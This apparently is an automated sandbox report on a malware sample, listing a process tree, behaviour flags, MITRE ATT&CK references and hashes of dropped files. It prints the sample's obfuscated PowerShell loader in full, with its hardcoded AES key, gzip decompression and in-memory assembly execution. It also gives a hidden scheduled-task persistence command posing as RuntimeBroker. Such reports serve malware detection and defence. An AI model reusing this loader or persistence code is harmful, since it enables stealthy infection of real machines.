}}$payloads_var=[string[]]$pemRj.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:3924
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"3⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2144 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_408_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_408.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2328
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_408.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4236 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_408.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:1332 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UtCZ/QU0Uz0/2AJpjPLo1YG+vrl+qYXHTA/y8YIkR3o='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('woD8bt3Dpv9ayrHA/vVpUQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $UGVfs=New-Object System.IO.MemoryStream(,$param_var); $uMcnm=New-Object System.IO.MemoryStream; $rKoLa=New-Object System.IO.Compression.GZipStream($UGVfs, [IO.Compression.CompressionMode]::Decompress); $rKoLa.CopyTo($uMcnm); $rKoLa.Dispose(); $UGVfs.Dispose(); $uMcnm.Dispose(); $uMcnm.ToArray();}function execute_function($param_var,$param2_var){ $itbHk=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $nikHT=$itbHk.EntryPoint; $nikHT.Invoke($null, $param2_var);}$vyzpV = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_408.bat';$host.UI.RawUI.WindowTitle = $vyzpV;$AkYGG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($vyzpV).Split([Environment]::NewLine);foreach ($zrkhd in $AkYGG) { if ($zrkhd.StartsWith('KVRIwZVKTdpHMzNhDqYI')) { $pemRj=$zrkhd.Substring(20); break; }}$payloads_var=[string[]]$pemRj.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:2008
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3508
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:736
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:3920
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4628
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2568
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:2532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:364
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:2584
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
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Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
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Filesize
2KB
MD5005bc2ef5a9d890fb2297be6a36f01c2
SHA10c52adee1316c54b0bfdc510c0963196e7ebb430
SHA256342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
SHA512f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
273KB
MD5dca82e50fdbefaf467663ee49541a5e8
SHA152bcb41f5b2566312c53dcc95348fc681a1b56e1
SHA2561896c998055a7aa425a66bc860d7844102e9a303732df8f7eeb560d659e90c6f
SHA5124e4e0749db357e911a6b9d4d3a6419df9bf03a70ea405eeb16f539f48bf202c75a91fb06ae29818fb276d61df3efbd1a1e5c5a3e41145d734c2d0764d7c0e538
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Filesize
124B
MD51b80fd17fd11931c8cecf33b16b8d3b1
SHA1a76dde80b525be257a6ad991874d84e1635f7202
SHA2565e3863014d90a69b41503264ad30c45c4b9d5a6f29da746b1f59d1d6270125eb
SHA512bde3b65a7ac92bb12a9fdaab3b4d2302ec1a32409ed5a72f679936c776452a80043934300d6862c71176160e34c389909226ff1983c1743617c15fb458795d95
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Filesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
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Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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Filesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4